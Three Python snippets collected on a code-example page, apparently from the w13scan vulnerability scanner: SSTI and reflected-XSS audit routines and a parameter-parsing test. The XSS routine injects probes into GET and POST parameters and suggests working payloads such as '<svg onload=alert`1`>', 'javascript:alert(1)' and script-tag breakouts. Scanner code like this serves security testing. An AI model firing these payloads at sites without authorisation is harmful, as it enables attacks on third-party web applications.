Exemplo n.º 1
0
    def audit(self):

        parse_params = set(getParamsFromHtml(self.response.text))
        resp = self.response.text
        params_data = {}
        self.init()
        iterdatas = []
        if self.requests.method == HTTPMETHOD.GET:
            parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set(
                self.requests.params.keys())
            for key in parse_params:
                params_data[key] = random_str(6)
            params_data.update(self.requests.params)
            resp = requests.get(self.requests.netloc,
                                params=params_data,
                                headers=self.requests.headers).text
            iterdatas = self.generateItemdatas(params_data)
        elif self.requests.method == HTTPMETHOD.POST:
            parse_params = (parse_params) - set(self.requests.post_data.keys())
            for key in parse_params:
                params_data[key] = random_str(6)
            params_data.update(self.requests.post_data)
            resp = requests.post(self.requests.url,
                                 data=params_data,
                                 headers=self.requests.headers).text
            iterdatas = self.generateItemdatas(params_data)

        for origin_dict, position in iterdatas:
            if position == PLACE.URI:
                continue
            for k, v in origin_dict.items():
                v = unquote(v)
                if v not in resp:
                    continue
                data = copy.deepcopy(origin_dict)
                # ssti检测
                r1 = self.test_ssti(data, k, position)
                if r1:
                    r2 = self.test_ssti(data, k, position)
                    if r2:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.SSTI)
                        result.add_detail("第一次payload请求", r1["request"],
                                          r1["response"], r1["desc"], k,
                                          r1["payload"], position)
                        result.add_detail("第二次payload请求", r2["request"],
                                          r2["response"], r2["desc"], k,
                                          r2["payload"], position)
                        self.success(result)
                        break

        if len(self.result.detail) > 0:
            self.success(self.result)
Exemplo n.º 2
0
Arquivo: xss.py Projeto: dycsy/w13scan
    def audit(self):

        parse_params = set(getParamsFromHtml(self.response.text))
        resp = self.response.text
        params_data = {}
        self.init()
        iterdatas = []
        if self.requests.method == HTTPMETHOD.GET:
            parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set(
                self.requests.params.keys())
            for key in parse_params:
                params_data[key] = random_str(6)
            params_data.update(self.requests.params)
            resp = requests.get(self.requests.netloc,
                                params=params_data,
                                headers=self.requests.headers).text
            iterdatas = self.generateItemdatas(params_data)
        elif self.requests.method == HTTPMETHOD.POST:
            parse_params = (parse_params) - set(self.requests.post_data.keys())
            for key in parse_params:
                params_data[key] = random_str(6)
            params_data.update(self.requests.post_data)
            resp = requests.post(self.requests.url,
                                 data=params_data,
                                 headers=self.requests.headers).text
            iterdatas = self.generateItemdatas(params_data)

        for origin_dict, positon in iterdatas:
            # 先不支持uri上的xss,只支持get post cookie上的xss
            if positon == PLACE.URI:
                continue
            for k, v in origin_dict.items():
                v = unquote(v)
                if v not in resp:
                    continue
                data = copy.deepcopy(origin_dict)
                # 探测回显
                xsschecker = "0x" + random_str(6, string.digits + "abcdef")
                data[k] = xsschecker
                r1 = self.req(positon, data)

                if not re.search(xsschecker, r1.text, re.I):
                    continue
                html_type = r1.headers.get("Content-Type", "").lower()

                XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE
                if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type:
                    continue

                # 反射位置查找
                locations = SearchInputInResponse(xsschecker, r1.text)

                if len(locations) == 0:
                    # 找不到反射位置,找下自己原因?
                    flag = random_str(5)
                    payload = "<{}//".format(flag)
                    data[k] = payload
                    req = self.req(positon, data)
                    if payload in req.text:
                        self.result.add_detail(
                            "html代码未转义", req.reqinfo, generateResponse(req),
                            "可使用<svg onload=alert`1`// 进行攻击测试,注意返回格式为:" +
                            html_type, k, data[k], positon)

                for item in locations:
                    _type = item["type"]
                    details = item["details"]

                    if _type == "html":
                        if details["tagname"] == "style":
                            payload = "expression(a({}))".format(
                                random_str(6, string.ascii_lowercase))
                            data[k] = payload
                            req = self.req(positon, data)
                            _locations = SearchInputInResponse(
                                payload, req.text)
                            for _item in _locations:
                                if payload in _item["details"][
                                        "content"] and _item["details"][
                                            "tagname"] == "style":
                                    self.result.add_detail(
                                        "IE下可执行的表达式", req.reqinfo,
                                        generateResponse(req.text),
                                        "IE下可执行的表达式 expression(alert(1))", k,
                                        data[k], positon)
                                    break
                        flag = random_str(7)
                        payload = "</{}><{}>".format(
                            random_upper(details["tagname"]), flag)
                        truepayload = "</{}>{}".format(
                            random_upper(details["tagname"]),
                            "<svg onload=alert`1`>")
                        data[k] = payload
                        req = self.req(positon, data)
                        _locations = SearchInputInResponse(flag, req.text)
                        for i in _locations:
                            if i["details"]["tagname"] == flag:
                                self.result.add_detail(
                                    "html标签可被闭合", req.reqinfo,
                                    generateResponse(req),
                                    "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".format(
                                        details["tagname"], truepayload,
                                        html_type), k, data[k], positon)
                                break
                    elif _type == "attibute":
                        if details["content"] == "key":
                            # test html
                            flag = random_str(7)
                            payload = "><{}".format(flag)
                            truepayload = "><svg onload=alert`1`>"
                            data[k] = payload
                            req = self.req(positon, data)
                            _locations = SearchInputInResponse(flag, req.text)
                            for i in _locations:
                                if i["details"]["tagname"] == flag:
                                    self.result.add_detail(
                                        "html标签可被闭合", req.reqinfo,
                                        generateResponse(req),
                                        "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".
                                        format(details["tagname"], truepayload,
                                               html_type), k, data[k], positon)
                                    break
                            # test attibutes
                            flag = random_str(5)
                            payload = flag + "="
                            data[k] = payload
                            req = self.req(positon, data)
                            _locations = SearchInputInResponse(flag, req.text)
                            for i in _locations:
                                for _k, v in i["details"]["attibutes"]:
                                    if _k == flag:
                                        self.result.add_detail(
                                            "可自定义任意标签事件", req.reqinfo,
                                            generateResponse(req),
                                            "可以自定义类似 'onmouseover=prompt(1)'的标签事件,注意返回格式为:"
                                            + html_type, k, payload, positon)
                                        break
                        else:
                            # test attibutes
                            flag = random_str(5)
                            for _payload in ["'", "\"", ""]:
                                payload = _payload + flag + "=" + _payload
                                truepayload = "{payload} onmouseover=prompt(1){payload}".format(
                                    payload=_payload)
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    flag, req.text)
                                for i in _occerens:
                                    for _k, _v in i["details"]["attibutes"]:
                                        if _k == flag:
                                            self.result.add_detail(
                                                "引号可被闭合,可使用其他事件造成xss",
                                                req.reqinfo,
                                                generateResponse(req),
                                                "可使用payload:{},注意返回格式为:{}".
                                                format(truepayload, html_type),
                                                k, payload, positon)
                                            break
                            # test html
                            flag = random_str(7)
                            for _payload in [r"'><{}>", "\"><{}>"]:
                                payload = _payload.format(flag)
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    flag, req.text)
                                for i in _occerens:
                                    if i["details"]["tagname"] == flag:
                                        self.result.add_detail(
                                            "html标签可被闭合", req.reqinfo,
                                            generateResponse(req),
                                            "可测试payload:{}".format(
                                                _payload.format(
                                                    "svg onload=alert`1`")) +
                                            ",返回格式为:" + html_type, k, data[k],
                                            positon)
                                        break
                            # 针对特殊属性进行处理
                            specialAttributes = [
                                'srcdoc', 'src', 'action', 'data', 'href'
                            ]  # 特殊处理属性
                            keyname = details["attibutes"][0][0]
                            tagname = details["tagname"]
                            if keyname in specialAttributes:
                                flag = random_str(7)
                                data[k] = flag
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    flag, req.text)
                                for i in _occerens:
                                    if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][
                                        0] == keyname and \
                                            i["details"]["attibutes"][0][1] == flag:
                                        truepayload = flag
                                        if i["details"]["attibutes"][0][
                                                0] in specialAttributes:
                                            truepayload = "javascript:alert(1)"

                                        self.result.add_detail(
                                            "值可控", req.reqinfo,
                                            generateResponse(req),
                                            "{}的值可控,可能被恶意攻击,payload:{},注意返回格式为:{}"
                                            .format(keyname, truepayload,
                                                    html_type), k, data[k],
                                            positon)
                                        break
                            elif keyname == "style":
                                payload = "expression(a({}))".format(
                                    random_str(6, string.ascii_lowercase))
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    payload, req.text)
                                for _item in _occerens:
                                    if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \
                                            _item["details"]["attibutes"][0][0] == keyname:
                                        self.result.add_detail(
                                            "IE下可执行的表达式", req.reqinfo,
                                            generateResponse(req.text),
                                            "IE下可执行的表达式 payload:expression(alert(1))",
                                            k, data[k], positon)
                                        break
                            elif keyname.lower() in XSS_EVAL_ATTITUDES:
                                # 在任何可执行的属性中
                                payload = random_str(6, string.ascii_lowercase)
                                data[k] = payload
                                req = self.req(positon, data)
                                _occerens = SearchInputInResponse(
                                    payload, req.text)
                                for i in _occerens:
                                    _attibutes = i["details"]["attibutes"]
                                    if len(_attibutes) > 0 and _attibutes[0][
                                            1] == payload and _attibutes[0][
                                                0].lower() == keyname.lower():
                                        self.result.add_detail(
                                            "事件的值可控", req.reqinfo,
                                            generateResponse(req),
                                            "{}的值可控,可能被恶意攻击,注意返回格式为:{}".format(
                                                keyname, html_type), k,
                                            data[k], positon)
                                        break
                    elif _type == "comment":
                        flag = random_str(7)
                        for _payload in ["-->", "--!>"]:
                            payload = "{}<{}>".format(_payload, flag)
                            truepayload = payload.format(
                                _payload, "svg onload=alert`1`")
                            data[k] = payload
                            req = self.req(positon, data)
                            _occerens = SearchInputInResponse(flag, req.text)
                            for i in _occerens:
                                if i["details"]["tagname"] == flag:
                                    self.result.add_detail(
                                        "html注释可被闭合", req.reqinfo,
                                        generateResponse(req),
                                        "html注释可被闭合 测试payload:{},注意返回格式为:{}".
                                        format(truepayload,
                                               html_type), k, data[k], positon)
                                    break
                    elif _type == "script":
                        # test html
                        flag = random_str(7)
                        script_tag = random_upper(details["tagname"])
                        payload = "</{}><{}>{}</{}>".format(
                            script_tag, script_tag, flag, script_tag)
                        truepayload = "</{}><{}>{}</{}>".format(
                            script_tag, script_tag, "prompt(1)", script_tag)
                        data[k] = payload
                        req = self.req(positon, data)
                        _occerens = SearchInputInResponse(flag, req.text)
                        for i in _occerens:
                            if i["details"]["content"] == flag and i[
                                    "details"]["tagname"].lower(
                                    ) == script_tag.lower():
                                self.result.add_detail(
                                    "可以新建script标签执行任意代码", req.reqinfo,
                                    generateResponse(req),
                                    "可以新建script标签执行任意代码 测试payload:{},注意返回格式为:{}"
                                    .format(truepayload,
                                            html_type), k, data[k], positon)
                                break

                        # js 语法树分析反射
                        source = details["content"]
                        _occurences = SearchInputInScript(xsschecker, source)
                        for i in _occurences:
                            _type = i["type"]
                            _details = i["details"]
                            if _type == "InlineComment":
                                flag = random_str(5)
                                payload = "\n;{};//".format(flag)
                                truepayload = "\n;{};//".format('prompt(1)')
                                data[k] = payload
                                resp = self.req(positon, data).text
                                for _item in SearchInputInResponse(flag, resp):
                                    if _item["details"]["tagname"] != "script":
                                        continue
                                    resp2 = _item["details"]["content"]
                                    output = SearchInputInScript(flag, resp2)
                                    for _output in output:
                                        if flag in _output["details"][
                                                "content"] and _output[
                                                    "type"] == "ScriptIdentifier":
                                            self.result.add_detail(
                                                "js单行注释bypass", req.reqinfo,
                                                generateResponse(req),
                                                "js单行注释可被\\n bypass,注意返回格式为:" +
                                                html_type.format(truepayload),
                                                k, data[k], positon)
                                            break

                            elif _type == "BlockComment":
                                flag = "0x" + random_str(4, "abcdef123456")
                                payload = "*/{};/*".format(flag)
                                truepayload = "*/{};/*".format('prompt(1)')
                                data[k] = payload
                                resp = self.req(positon, data).text
                                for _item in SearchInputInResponse(flag, resp):
                                    if _item["details"]["tagname"] != "script":
                                        continue
                                    resp2 = _item["details"]["content"]
                                    output = SearchInputInScript(flag, resp2)
                                    for _output in output:
                                        if flag in _output["details"][
                                                "content"] and _output[
                                                    "type"] == "ScriptIdentifier":
                                            self.result.add_detail(
                                                "js块注释可被bypass", req.reqinfo,
                                                generateResponse(req),
                                                "js单行注释可被\\n bypass,注意返回格式为:" +
                                                html_type.format(truepayload),
                                                k, data[k], positon)
                                            break
                            elif _type == "ScriptIdentifier":
                                self.result.add_detail(
                                    "可直接执行任意js命令", req.reqinfo,
                                    generateResponse(req),
                                    "ScriptIdentifier类型 测试payload:prompt(1);//,注意返回格式为:"
                                    + html_type, k, data[k], positon)
                            elif _type == "ScriptLiteral":
                                content = _details["content"]
                                quote = content[0]
                                flag = random_str(6)
                                if quote == "'" or quote == "\"":
                                    payload = '{quote}-{rand}-{quote}'.format(
                                        quote=quote, rand=flag)
                                    truepayload = '{quote}-{rand}-{quote}'.format(
                                        quote=quote, rand="prompt(1)")
                                else:
                                    flag = "0x" + random_str(4, "abcdef123456")
                                    payload = flag
                                    truepayload = "prompt(1)"
                                data[k] = payload
                                resp = self.req(positon, data).text
                                resp2 = None
                                for _item in SearchInputInResponse(
                                        payload, resp):
                                    if payload in _item["details"][
                                            "content"] and _item[
                                                "type"] == "script":
                                        resp2 = _item["details"]["content"]

                                if not resp2:
                                    continue
                                output = SearchInputInScript(flag, resp2)

                                if output:
                                    for _output in output:
                                        if flag in _output["details"][
                                                "content"] and _output[
                                                    "type"] == "ScriptIdentifier":
                                            self.result.add_detail(
                                                "script脚本内容可被任意设置",
                                                req.reqinfo,
                                                generateResponse(req),
                                                "测试payload:{},注意返回格式为:{}".
                                                format(truepayload, html_type),
                                                k, data[k], positon)
                                            break

                # ssti检测
                randnum1 = random.randint(50, 500)
                randnum2 = random.randint(80, 400)
                checksum = str(randnum1 * randnum2)
                ssti_payloads = self.getSSTIPayload(randnum1, randnum2)
                for payload in ssti_payloads:
                    data[k] = payload
                    # 不编码请求
                    r1 = self.req(positon, url_dict2str(data, positon))
                    if checksum in r1.text:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.XSS)
                        result.add_detail(
                            "payload请求", r1.reqinfo, generateResponse(r1),
                            "payload:{} 会回显{} 不编码payload".format(
                                payload, checksum), k, payload, positon)
                        self.success(result)
                    # url编码请求
                    r1 = self.req(positon, data)
                    if checksum in r1.text:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.XSS)
                        result.add_detail(
                            "payload请求", r1.reqinfo, generateResponse(r1),
                            "payload:{} 会回显{} url编码payload".format(
                                payload, checksum), k, payload, positon)
                        self.success(result)
                    # html编码请求
                    r1 = self.req(positon, data)
                    if checksum in r1.text:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SSTI模板注入",
                                         VulType.XSS)
                        result.add_detail(
                            "payload请求", r1.reqinfo, generateResponse(r1),
                            "payload:{} 会回显{} html编码payload".format(
                                payload, checksum), k, payload, positon)
                        self.success(result)

        if len(self.result.detail) > 0:
            self.success(self.result)
Exemplo n.º 3
0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time    : 2020/4/14 11:09 AM
# @Author  : w8ay
# @File    : test_html_parse_params.py

import requests

from lib.helper.htmlparser import getParamsFromHtml

req = requests.get("https://x.hacking8.com")
resp = req.text

params = getParamsFromHtml(resp)
print(params)